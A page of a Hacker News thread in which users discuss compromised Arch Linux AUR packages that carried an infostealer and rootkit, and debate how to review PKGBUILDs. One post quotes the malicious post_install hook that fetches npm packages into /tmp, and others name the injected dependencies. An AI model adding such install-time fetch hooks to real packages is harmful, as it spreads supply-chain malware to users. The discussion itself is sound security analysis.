Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

AUR packages compromised with Infostealer and Rootkit

discourse.ifin.network

Post reply on HN
Print view View original

171–180 of 234 posts

Re: AUR packages compromised with Infostealer and Rootkit

#171

Post by alkyon »

giancarlostoro wrote: post #170
no-name-here wrote: post #99

Earlier quoted context omitted.

> You have to review the source of every PKGBUILD from the AUR you install, full stop. Yes that includes any updates. But isn’t that also the case for every browser extension, VSCode extension, nuget package, Cargo crate, python package, npm package, etc? (Unless you are running them somewhere without internet access or without access to anything you don’t mind being public?) Maybe it’s not the case for aur, but the…

Apparently I was almost affected, but I dont update arch frequently enough, that my alvr package was not updated during the window. It's also a good thing that Arch Linux has people hawking it, so if these things happen they get caught on insanely quickly. I wonder if there's sane ways to protect your dotfiles from rogue processes just touching them.

I normally exclude all AUR packages from system updates to speed things up, so I shouldn't be affected either.

Re: AUR packages compromised with Infostealer and Rootkit

#172

Post by craftkiller »

bachmeier wrote: post #50

So what's a solution to this? Install packages like this in Docker containers without network access? I don't think we should assume it's limited to AUR. Every software source should be considered suspect in 2026, particularly with the adoption of vibe coding, and closed software is a bigger mess than open source because it's a black box.

As much as I hate to say it, the Qubes OS people were right. The solution is aggressively isolating apps into virtual machines. Anyone know how much my battery life is going to suffer if I bite the bullet and switch?

Re: AUR packages compromised with Infostealer and Rootkit

#173

Post by codemac »

craftkiller wrote: post #164
codemac wrote: post #116

Earlier quoted context omitted.

> isn’t that also the case for every browser extension, VSCode extension, nuget package, Cargo crate, python package, npm package Yes, and all of those have supply chain hacks in them, and have happened within the last year? In this specific case, it's a malicious npm package being installed with official npm tooling in the PKGBUILD. The advantage to the AUR is just that you can reasonably review every PKGBUILD for w…

> The advantage to the AUR is just that you can reasonably review every PKGBUILD for what you're installing Simply reviewing the PKGBUILD is not enough for the same reason reviewing a Makefile is not enough: You need to review the source code for _everything_ that is being downloaded and executed on your machine. For AUR packages, that means not just the PKGBUILD but the full source code for the program it is buildin…

Right, the PKGBUILD only helps you review if you're installing what you intend to - not verifying if what you're installing contains any hacks.

This hack in particular added random npm packages that would have been unneeded/unintentional, and was visible in the PKGBUILDs directly.

Re: AUR packages compromised with Infostealer and Rootkit

#174

Post by codemac »

Tharre wrote: post #142
DavideNL wrote: post #130

Earlier quoted context omitted.

Curious, in this specific case: if people DID review the PKGBUILD, what exactly would they recognize to spot these packages were compromised ?

From the concrete example someone posted below, you'd see that a post-install hook exists, literally this line: > install=toggldesktop-bin-deps.install And the toggldesktop-bin-deps.install contains this: > post_install() {{ > cd /tmp > bun add axios uuid ora js-digest > }} Seeing any install hook download anything from the web should immediately raise alarms when reviewing, even before you checkout what packages it…

Exactly, these hacks really stand out to me, and used odd patterns (like .install files that just had 2-3 line post_install functions) etc.

Re: AUR packages compromised with Infostealer and Rootkit

#175

Post by giancarlostoro »

alkyon wrote: post #171
giancarlostoro wrote: post #170

Earlier quoted context omitted.

Apparently I was almost affected, but I dont update arch frequently enough, that my alvr package was not updated during the window. It's also a good thing that Arch Linux has people hawking it, so if these things happen they get caught on insanely quickly. I wonder if there's sane ways to protect your dotfiles from rogue processes just touching them.

I normally exclude all AUR packages from system updates to speed things up, so I shouldn't be affected either.

I usually use "yay" for all my stuff, so I might have to consider telling yay to only update system files, apparently one way to decrease this type of attack is to get a hardware key for your SSH files, might finally have a reason to get a yubikey or similar.

Re: AUR packages compromised with Infostealer and Rootkit

#176

Post by seba_dos1 »

gqgs wrote: post #131
Tharre wrote: post #68

People need to get into their heads that the AUR is just a collection of user-produced PKGBUILDs. You have to review the source of every PKGBUILD from the AUR you install, full stop. Yes that includes any updates. This really has always been the case; we've had discussion about this for well over a decade. People are always asking why there's no official AUR helper like yay - this is why. A lot of people complain abo…

Regardless of it being just a collection of user-produced PKGBUILDs the community would certainly benefit from a more robust solution to this issue. Expecting users to manually review every single change, for every single AUR package they are using, every single time they do an update or installation is just unreasonable if you want to AUR to be useful at all for the general user.

Arch already has a more robust solution to this issue and it's called "core" and "extra". AUR is where you head to when you're ready to manually review every single change, for every single AUR package you are using, every single time you do an update or installation and that's exactly what it is and was always supposed to be.

Re: AUR packages compromised with Infostealer and Rootkit

#177

Post by cmiles74 »

Tharre wrote: post #71
harvie wrote: post #55

7+ hours into this and still no mention on archlinux.org webpage nor on aur.archlinux.org. Why??? AUR should have been blocked until user takes action to prove he knows about this. Eg. change AUR API URL slightly so yay/yaourt users need to look up what is going on. New API should have infrastructure for informing users and making sure they've read the message before proceeding. Especially when they're not even sure…

No it shouldn't. You don't break everyone's workflow just because some people refuse to take basic security advise seriously. > New API should have infrastructure for informing users and making sure they've read the message before proceeding. How would that even work? AUR packages are just git repos, everything that AUR helpers are doing or not doing is not under the control of the arch maintainers.

Even people who do read the content of every AUR package they install could use a helpful heads up and some detail in the new threat they should be looking for.

If a package is compromised, I think most people would prefer their workflow be broken than risk installing that package.

Re: AUR packages compromised with Infostealer and Rootkit

#178

Post by craftkiller »

codemac wrote: post #173
craftkiller wrote: post #164

Earlier quoted context omitted.

> The advantage to the AUR is just that you can reasonably review every PKGBUILD for what you're installing Simply reviewing the PKGBUILD is not enough for the same reason reviewing a Makefile is not enough: You need to review the source code for _everything_ that is being downloaded and executed on your machine. For AUR packages, that means not just the PKGBUILD but the full source code for the program it is buildin…

Right, the PKGBUILD only helps you review if you're installing what you intend to - not verifying if what you're installing contains any hacks. This hack in particular added random npm packages that would have been unneeded/unintentional, and was visible in the PKGBUILDs directly.

True, but looking at a compromised PKGBUILD[0], it looks like it is installing "atomic-lockfile" and "figures". I think 99% of people reading the PKGBUILD would assume those are legit dependencies needed by the program. It's not like it was running "npm install 1337hax0r". Which is why you need to read the source for both "atomic-lockfile" and "figures" (and literally everything else).

[0] https://aur.archlinux.org/cgit/aur.git/commit/?h=pass-cli&id...

Re: AUR packages compromised with Infostealer and Rootkit

#179

Post by codemac »

craftkiller wrote: post #178
codemac wrote: post #173

Earlier quoted context omitted.

Right, the PKGBUILD only helps you review if you're installing what you intend to - not verifying if what you're installing contains any hacks. This hack in particular added random npm packages that would have been unneeded/unintentional, and was visible in the PKGBUILDs directly.

True, but looking at a compromised PKGBUILD[0], it looks like it is installing "atomic-lockfile" and "figures". I think 99% of people reading the PKGBUILD would assume those are legit dependencies needed by the program. It's not like it was running "npm install 1337hax0r". Which is why you need to read the source for both "atomic-lockfile" and "figures" (and literally everything else). [0] https://aur.archlinux.org/c…

It adds npm as a dependency, to a go build?

It changes the contributor email?

to install random npm packages?!

in /tmp?! in post_install()??! With a new random contributor email????

Archlinux is focused on enabling a specific type of user, and certainly ones that can read bash scripts, and understand reasonable depedencies vs unreasonable ones. And even then - this is specifically in the AUR and not a package the distro directly offers.

Re: AUR packages compromised with Infostealer and Rootkit

#180

Post by craftkiller »

codemac wrote: post #179
craftkiller wrote: post #178

Earlier quoted context omitted.

True, but looking at a compromised PKGBUILD[0], it looks like it is installing "atomic-lockfile" and "figures". I think 99% of people reading the PKGBUILD would assume those are legit dependencies needed by the program. It's not like it was running "npm install 1337hax0r". Which is why you need to read the source for both "atomic-lockfile" and "figures" (and literally everything else). [0] https://aur.archlinux.org/c…

It adds npm as a dependency, to a go build? It changes the contributor email? to install random npm packages?! in /tmp?! in post_install()??! With a new random contributor email???? Archlinux is focused on enabling a specific type of user, and certainly ones that can read bash scripts, and understand reasonable depedencies vs unreasonable ones. And even then - this is specifically in the AUR and not a package the dis…

> It adds npm as a dependency, to a go build?

Programs often invoke other programs through the exec* family of syscalls. For example, git is written in C but it ships with perl dependencies. It is not unreasonable to assume pass-cli added a runtime dependency on a program written in javascript. Regardless, we're talking hundreds of AUR packages have been compromised, I'd be shocked if none of them were javascript-based programs. Perhaps pass-cli was simply a bad example for me to choose.

> It changes the contributor email?

I think this is the 2nd most sus change, but even so, I have changed email addresses over the years so it isn't completely unreasonable.

> in /tmp?!

And yes, this is the most sus change.

Post reply on HN